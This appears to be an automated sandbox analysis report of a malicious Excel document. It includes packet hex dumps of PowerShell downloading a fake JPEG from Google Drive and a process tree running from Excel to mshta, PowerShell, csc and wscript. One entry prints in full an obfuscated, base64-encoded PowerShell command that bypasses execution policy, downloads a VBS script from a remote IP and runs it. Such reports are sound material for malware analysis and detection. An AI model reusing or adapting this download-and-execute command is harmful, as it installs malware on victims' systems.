.'OsD.(i\33\g`Xs6!$G<s_,x'R3)J,
2024-10-30 06:53:22 UTC	1378	IN	Data Raw: 1a af 0a 7d 3c 28 c5 9a 49 e5 7f c2 ab ba 8d 73 df 03 23 cb 74 9c 30 7b 46 1e a5 6e c7 e1 84 49 e5 8c 32 a3 6d 0c a5 58 fb 8b bc 31 d3 ba 30 66 46 a2 0d 6e 15 5d bf a6 09 d8 19 02 81 47 df 03 d0 7d 9e 56 6d 0b d3 6d 01 ec 1f a5 62 bf 68 55 9b 57 a7 0d d7 6f 1f 1f 56 5b c2 35 03 45 0c 9e 71 db 16 e5 36 db af 9b 1c 7e 78 2f 13 d4 47 ac d4 c6 da 76 de 11 4a 9d bb ab df db 03 d0 1d eb a5 2a 59 98 85 6f c5 db e1 9e 7f ec d0 65 9a 72 39 f4 0f e7 9a e7 59 12 e9 49 97 74 67 98 d4 10 c6 cd 7b 7d 33 27 c1 b7 e9 27 73 22 32 ab a8 16 55 b9 eb d0 56 03 3e 3f a7 f3 60 13 85 f5 44 68 ff 00 ba 7f eb 97 d0 f8 ac 6b e1 db a4 3c c4 84 f4 27 75 76 c7 27 96 07 86 45 91 c4 6a ca 08 69 01 0a 77 03 c0 be a7 8c f1 c2 45 86 52 a5 4b c5 7c 7a a8 10 3e 38 1e 8f 45 71 81 23 bb 7d e2 Data Ascii: }<(Is#t0{FnI2mX10fFn]G}VmmbhUWoV[5Eq6~x/GvJ*Yoer9YItg{}3''s"2UV>?`Dhk<'uv'EjiwERK\|z>8Eq#}
2024-10-30 06:53:22 UTC	1378	IN	Data Raw: ea 1c 74 00 05 ac 0c 9f b3 cc 90 78 d7 da 68 22 d6 ab 38 f0 89 e4 9e 58 dc c8 a1 d4 44 ad d4 72 c4 ee 2c 47 16 c2 bb 67 8a fb 55 10 93 ed ee 9b 50 24 0b 1c c9 a2 0a c1 83 32 8f 22 1f 51 5f c4 07 3d c6 6b 7d 84 d4 3e 8b c6 3e d6 46 92 42 d1 a7 83 6a 9c 79 60 fa 76 95 3b 41 20 1e fc e6 27 db 14 0d f6 bd 1c 39 15 a7 d1 15 63 dc 7d de 2a c0 f4 9f b5 e9 e4 66 fb 3d e6 24 b1 ca 9a 3d 92 ab 22 a8 0d b5 18 f0 39 1c b5 73 ed 9f 39 d3 40 41 2e 25 da c3 e1 9f 58 fd b3 cb a6 6f 1d f0 5d 3e a6 49 04 50 a3 89 5d 41 69 0f 0a 68 02 40 ff 00 47 3e 63 19 73 11 0b 11 65 00 0e 08 04 1b e8 6b eb 80 16 49 4a b2 79 a5 95 81 06 85 60 df 46 15 81 f3 38 35 7e 95 be 3e 39 a4 c9 b9 76 15 28 d5 dc 7f 5c 4e 73 e4 05 56 91 c5 9a e2 bf b6 05 f4 30 9f 35 9c 92 39 b5 0d 44 9b f9 65 f5 28 Data Ascii: txh"8XDr,GgUP$2"Q_=k}>>FBjy`v;A '9c}*f=$="9s9@A.%Xo]>IP]Aih@G>csekIJy`F85~>9v(\NsV059De(
2024-10-30 06:53:22 UTC	1378	IN	Data Raw: 1d b0 d0 a2 e9 d0 24 67 8e a4 62 b1 6a 36 30 0e 9b bb 59 ca c9 29 56 2c ad c9 e8 30 0c 1d 9a 6a 0e a2 8d 73 91 3f 98 ac a4 b2 d0 3e aa 1d 46 26 67 31 a3 3c 8a a3 6f 37 8a 68 7c 54 6a f5 6e a1 58 93 d2 ff 00 0e 06 b1 71 e6 86 14 01 e3 35 1a 26 01 02 90 40 51 98 a6 46 ad a5 68 8f 61 8f 47 3b be 94 12 18 38 e2 fb d6 03 ee 8a 40 e5 77 03 57 ed 99 72 41 73 19 59 82 95 36 6c f1 8d 39 91 62 57 03 e2 d7 94 79 b7 46 43 42 ac 08 a6 e7 00 12 a4 72 c2 35 01 d6 ec f4 c5 11 d9 e4 6d cc 09 19 da 9d f3 41 22 44 16 26 2a 55 6b b6 28 35 02 2d 54 7a 5a b7 65 b2 c7 e0 30 0b a9 94 45 a9 44 67 1b 4f 38 ea ea 12 29 46 c2 b5 fc 40 e2 7a bd 3a 4e ea d2 2a 8d b5 cd e5 e0 81 5d 4c c4 86 8f a5 8c 0d b6 d5 a0 d3 f9 88 a1 56 bf 2c cc 96 68 e6 f5 07 52 4f c7 13 f1 2d 54 ef a0 91 74 e8 Data Ascii: $gbj60Y)V,0js?>F&g1<o7h\|TjnXq5&@QFhaG;8@wWrAsY6l9bWyFCBr5mA"D&Uk(5-TzZe0EDgO8)F@z:N]LV,hRO-Tt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49173	142.250.186.46	443	4032	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:53:35 UTC	121	OUT	GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-30 06:53:35 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 30 Oct 2024 06:53:35 GMT Location: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-XvXH4J-n2sy-0da_PKjMbw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49174	142.250.185.97	443	4032	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:53:36 UTC	139	OUT	GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-30 06:53:39 UTC	4899	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="new_image-new.jpg" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 2239109 Last-Modified: Mon, 21 Oct 2024 13:42:20 GMT X-GUploader-UploadID: AHmUCY0W51Df2Sq4KF8Ea2C1Li4Zy1SKuuqPs1n3iMhG6rR2pdhASvnB4Ui0maKkzZg5X2Sdg88 Date: Wed, 30 Oct 2024 06:53:39 GMT Expires: Wed, 30 Oct 2024 06:53:39 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=WqxmdA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 06:53:39 UTC	4899	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-10-30 06:53:39 UTC	4899	IN	Data Raw: d2 86 2a 1f ef 0e 5e 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d 8c a8 45 2e de 2f b9 cd 04 62 f1 19 03 ed 55 b5 34 6c 13 99 53 48 aa 43 28 23 68 01 89 e7 9c 98 27 46 81 d1 49 00 1d c6 fb 9c 07 6f 7c 8a 24 76 64 ec a4 5e 15 62 d3 c0 8c e5 e5 24 03 e9 02 c5 62 1a 6d 62 bb 00 cc 14 ad 81 78 71 36 e4 61 be af 8c 0c ad 42 99 26 76 51 44 9a 0a 16 b8 c5 99 19 0d 32 90 7e 23 35 a4 11 b3 15 27 e2 0f 4b e3 17 d4 ed 10 80 Data Ascii: *^8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^}E./bU4lSHC(#h'FIo\|$vd^b$bmbxq6aB&vQD2~#5'K
2024-10-30 06:53:39 UTC	1	IN	Data Raw: 3e Data Ascii: >
2024-10-30 06:53:39 UTC	1323	IN	Data Raw: a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14 d5 f0 ac 0d 24 f1 5d a4 03 18 2f ee 33 6b 47 ad d3 3e 98 4d 26 91 19 99 d9 77 32 b9 ae 9e a2 43 00 33 ca 86 52 de ae 08 03 9c 29 21 94 85 5e 2a b8 e3 eb d7 e5 81 e9 07 8b 40 da 67 d5 0f 0e d3 10 ac 29 77 3d 76 04 fe 3e c4 af e7 f0 39 da 6f 1b d3 6a 1c ef d0 c2 18 ad 85 4d ec c4 fc 8b f3 f4 ed ce 61 40 cf 14 91 b0 04 a8 24 15 27 f8 4f 0c 3f 2c a2 b4 b0 b9 da 40 ba b0 c0 30 ef 55 63 b7 be 06 9c de 2d 13 9a 1a 38 a3 b3 cb 29 6b 35 f0 2c 72 ad e3 50 00 36 f8 74 25 bd ed f9 ff 00 c5 99 f3 17 91 43 33 12 d4 7f 11 ba e7 b6 2e 18 b2 d8 8c 00 bf e2 16 0e 06 be b7 c5 22 62 a9 1e 8e 28 db 68 66 23 78 60 7d b9 6c e9 f5 Data Ascii: $"d)v96cBG,$]/3kG>M&w2C3R)!^*@g)w=v>9ojMa@$'O?,@0Uc-8)k5,rP6t%C3."b(hf#x`}l
2024-10-30 06:53:39 UTC	1378	IN	Data Raw: 2a 7e 3f 96 07 ad 79 e3 61 bd 4e d0 7b e4 95 8a 45 b0 c5 8f c3 02 ba 33 cb 53 00 3b 9c 80 42 b1 3b b9 f9 60 18 ce aa 42 b2 86 1d 2c 76 f9 e3 0e ab 40 03 c5 70 31 00 f6 a4 48 6a fa 1d b8 cc 2f e7 00 a5 a9 94 58 f8 8c 0e 24 5d 61 13 77 6b 03 e1 92 17 af 1f 8b 8b c9 29 b5 49 1f 2c 00 18 b9 2d 6c 4f c7 28 47 15 75 86 08 42 f2 6b 2a c9 e9 3e bc 08 42 03 02 af 44 f7 ba cd 6f 04 d6 47 a2 d4 4a f3 be d5 70 2b 82 6d be 99 8e 14 03 f8 ac e1 01 2b d3 ad 7b d6 07 a4 f1 bd 8b 0a ea 53 53 2c 72 6d 0a b1 86 20 1e 7a fe 59 89 11 d7 6a 17 64 26 79 1a e8 90 cc 76 df c7 a0 ca b3 a3 43 24 b3 6a 7f 7b c0 45 ae 4d 77 bf 6c 67 c3 5e 72 fb 20 75 60 80 ca 55 ba 13 44 1f e7 81 53 a2 f1 b4 86 49 8c b3 20 4e 4a 89 da c8 fa 1c 57 45 ac f1 1d 44 a4 c5 aa 76 65 e4 2b 4a 7a 7d 78 cf 68 Data Ascii: ~?yaN{E3S;B;`B,v@p1Hj/X$]awk)I,-lO(GuBk>BDoGJp+m+{SS,rm zYjd&yvC$j{EMwlg^r u`UDSI NJWEDve+Jz}xh
2024-10-30 06:53:39 UTC	1378	IN	Data Raw: e0 66 d4 34 f3 16 51 42 c9 03 28 ac 03 31 65 dc 4f 7f 6c 06 e7 83 7e 99 69 cb 32 f7 6e ff 00 2c 5a 39 4a c0 e9 cd 9e 38 cd 24 4f 37 40 10 47 6c 3a 1f ae 27 36 92 58 80 97 69 00 1b 35 81 30 05 58 83 ca 01 00 f7 cf b2 7e cf b4 a9 3f ec fb 47 a6 9e 36 97 4f a8 fb 42 11 94 77 56 88 29 e7 b7 cf b6 7c 6a 58 19 c8 f2 eb 6d 73 66 8f 39 fa 1b f6 20 88 bf 60 e7 77 65 21 f5 ce 36 b3 71 7b 50 00 47 c4 d0 fa e0 7c f3 ec 86 96 0d 24 df 69 61 de cc 9f 72 5f 4c 4e 18 b2 99 62 23 d4 78 ee 01 6e c3 a6 0b f6 84 1a 2f da f4 cd 33 8d 41 69 34 c7 72 a8 51 b7 62 71 ed d3 bf 7b be 3a 66 ef d9 08 53 67 da 44 1a 69 62 f1 18 b4 4e 93 ab 23 16 45 43 10 29 60 05 03 d2 d4 a0 0a af 86 64 7d b5 d6 e9 b5 bf b4 81 3b 23 16 94 69 24 01 db 90 1a 28 d8 0e bf 1c 0d 1f da cc fe 54 1f 66 56 3d Data Ascii: f4QB(1eOl~i2n,Z9J8$O7@Gl:'6Xi50X~?G6OBwV)\|jXmsf9 `we!6q{PG\|$iar_LNb#xn/3Ai4rQbq{:fSgDibN#EC)`d};#i$(TfV=
2024-10-30 06:53:39 UTC	1378	IN	Data Raw: f1 39 f6 b2 96 08 c5 98 50 be d8 58 85 a9 12 bb 31 f7 f6 c0 cc a1 66 dd e6 1f 2c f4 17 81 d1 2f 9b 09 2e a4 b0 e3 e9 8b 3a 3c 4c cd 1d 2a 91 cf 18 c3 29 58 5a 9c d9 3e 9f 96 1e 08 8c b0 82 dc af 42 47 38 19 e1 37 37 ac 6e 1e f8 64 2c ea 50 8b 5a e2 86 72 43 20 d6 98 ca 91 10 e6 f1 98 e2 02 56 0a 59 42 8b 23 df 01 78 b4 e9 01 ad a6 db b0 c3 47 a2 56 90 52 30 0d d6 fb 64 88 77 4d bc c8 dc 9e 06 3a 6d 23 01 59 b7 11 d7 02 87 46 9a 6b 23 93 d3 e9 81 56 57 0c 03 58 06 a8 8e 70 da 98 8b 4d 13 09 58 9a a2 07 f3 c4 91 36 ea 25 46 91 89 bf 4f 15 81 05 48 73 66 fe 99 59 d0 32 6d 65 e4 64 32 32 cc 41 73 f0 bc ba 5b 0d 92 1b 61 d0 d6 02 fa 7d 3a 39 3e 9f 52 f4 38 dc 6b 21 43 bb a8 e9 95 8c 04 52 43 10 df 2c 32 12 50 6d 66 2c 7a fc 30 2f 06 8d a6 25 a4 34 3b 58 c8 96 Data Ascii: 9PX1f,/.:<L*)XZ>BG877nd,PZrC VYB#xGVR0dwM:m#YFk#VWXpMX6%FOHsfY2med22As[a}:9>R8k!CRC,2Pmf,z0/%4;X
2024-10-30 06:53:39 UTC	1378	IN	Data Raw: 5b be 27 af c8 e2 ad b4 01 4a 40 bc d0 d5 13 ac 08 c8 d1 88 d5 76 ae f9 94 33 72 c4 96 05 ae c9 e4 7e 43 e2 b0 d3 48 83 99 74 f4 7b 79 e9 ff 00 ab 01 32 29 b9 26 8f b6 16 02 34 ee 25 08 c5 87 2a bb c8 03 e7 44 1f d7 0f f7 49 0c 77 be 02 4f ff 00 6f 4f fd 59 0d a4 95 63 16 d0 90 be d3 23 7e 81 b0 1a 86 59 f5 09 23 43 24 e1 4d 1d cd 2b 11 d0 58 15 c0 b3 fe 20 46 44 5a 83 3b 14 59 a6 89 55 50 bb b4 cc 6c d8 56 ef d3 93 f9 7b 62 09 a7 96 48 77 a3 42 01 3c dc aa a4 8f 88 2c 32 1f 49 22 a9 25 a1 20 2e ea 12 27 4f a3 73 80 ea 99 bc a5 f3 1a 44 2e 18 28 69 18 f2 0a f5 00 93 5c 9e dd 33 33 5c 85 67 60 58 b1 e2 d9 9a cf f7 af 9e 73 bb 36 9c 21 24 aa 12 47 3c 73 5f 9e 2c 78 04 0b a3 c9 27 02 83 83 9a be 16 e9 1c 52 33 90 29 81 e7 e5 99 4a 2c e6 e7 81 e9 61 d4 45 28 Data Ascii: ['J@v3r~CHt{y2)&4%*DIwOoOYc#~Y#C$M+X FDZ;YUPlV{bHwB<,2I"% .'OsD.(i\33\g`Xs6!$G<s_,x'R3)J,aE(
2024-10-30 06:53:39 UTC	1378	IN	Data Raw: c5 9a 49 e5 7f c2 ab ba 8d 73 df 03 23 cb 74 9c 30 7b 46 1e a5 6e c7 e1 84 49 e5 8c 32 a3 6d 0c a5 58 fb 8b bc 31 d3 ba 30 66 46 a2 0d 6e 15 5d bf a6 09 d8 19 02 81 47 df 03 d0 7d 9e 56 6d 0b d3 6d 01 ec 1f a5 62 bf 68 55 9b 57 a7 0d d7 6f 1f 1f 56 5b c2 35 03 45 0c 9e 71 db 16 e5 36 db af 9b 1c 7e 78 2f 13 d4 47 ac d4 c6 da 76 de 11 4a 9d bb ab df db 03 d0 1d eb a5 2a 59 98 85 6f c5 db e1 9e 7f ec d0 65 9a 72 39 f4 0f e7 9a e7 59 12 e9 49 97 74 67 98 d4 10 c6 cd 7b 7d 33 27 c1 b7 e9 27 73 22 32 ab a8 16 55 b9 eb d0 56 03 3e 3f a7 f3 60 13 85 f5 44 68 ff 00 ba 7f eb 97 d0 f8 ac 6b e1 db a4 3c c4 84 f4 27 75 76 c7 27 96 07 86 45 91 c4 6a ca 08 69 01 0a 77 03 c0 be a7 8c f1 c2 45 86 52 a5 4b c5 7c 7a a8 10 3e 38 1e 8f 45 71 81 23 bb 7d e2 57 0c ea 1e ec 37 Data Ascii: Is#t0{FnI2mX10fFn]G}VmmbhUWoV[5Eq6~x/GvJ*Yoer9YItg{}3''s"2UV>?`Dhk<'uv'EjiwERK\|z>8Eq#}W7
2024-10-30 06:53:39 UTC	1378	IN	Data Raw: 0c 9f b3 cc 90 78 d7 da 68 22 d6 ab 38 f0 89 e4 9e 58 dc c8 a1 d4 44 ad d4 72 c4 ee 2c 47 16 c2 bb 67 8a fb 55 10 93 ed ee 9b 50 24 0b 1c c9 a2 0a c1 83 32 8f 22 1f 51 5f c4 07 3d c6 6b 7d 84 d4 3e 8b c6 3e d6 46 92 42 d1 a7 83 6a 9c 79 60 fa 76 95 3b 41 20 1e fc e6 27 db 14 0d f6 bd 1c 39 15 a7 d1 15 63 dc 7d de 2a c0 f4 9f b5 e9 e4 66 fb 3d e6 24 b1 ca 9a 3d 92 ab 22 a8 0d b5 18 f0 39 1c b5 73 ed 9f 39 d3 40 41 2e 25 da c3 e1 9f 58 fd b3 cb a6 6f 1d f0 5d 3e a6 49 04 50 a3 89 5d 41 69 0f 0a 68 02 40 ff 00 47 3e 63 19 73 11 0b 11 65 00 0e 08 04 1b e8 6b eb 80 16 49 4a b2 79 a5 95 81 06 85 60 df 46 15 81 f3 38 35 7e 95 be 3e 39 a4 c9 b9 76 15 28 d5 dc 7f 5c 4e 73 e4 05 56 91 c5 9a e2 bf b6 05 f4 30 9f 35 9c 92 39 b5 0d 44 9b f9 65 f5 28 eb 21 60 ea 41 ef Data Ascii: xh"8XDr,GgUP$2"Q_=k}>>FBjy`v;A '9c}*f=$="9s9@A.%Xo]>IP]Aih@G>csekIJy`F85~>9v(\NsV059De(!`A

Target ID:	0
Start time:	02:52:28
Start date:	30/10/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f3e0000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	02:52:54
Start date:	30/10/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13f7b0000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:52:57
Start date:	30/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"
Imagebase:	0x13fc70000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:53:02
Start date:	30/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE
Imagebase:	0x13fc70000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:53:05
Start date:	30/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline"
Imagebase:	0x13f150000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:53:05
Start date:	30/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1F25.tmp" "c:\Users\user\AppData\Local\Temp\3lzsnizg\CSCBF63D2839AE346389099BF789A42623B.TMP"
Imagebase:	0x13f7c0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:53:11
Start date:	30/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs"
Imagebase:	0xff7f0000
File size:	168'960 bytes
MD5 hash:	045451FA238A75305CC26AC982472367
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:53:12
Start date:	30/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
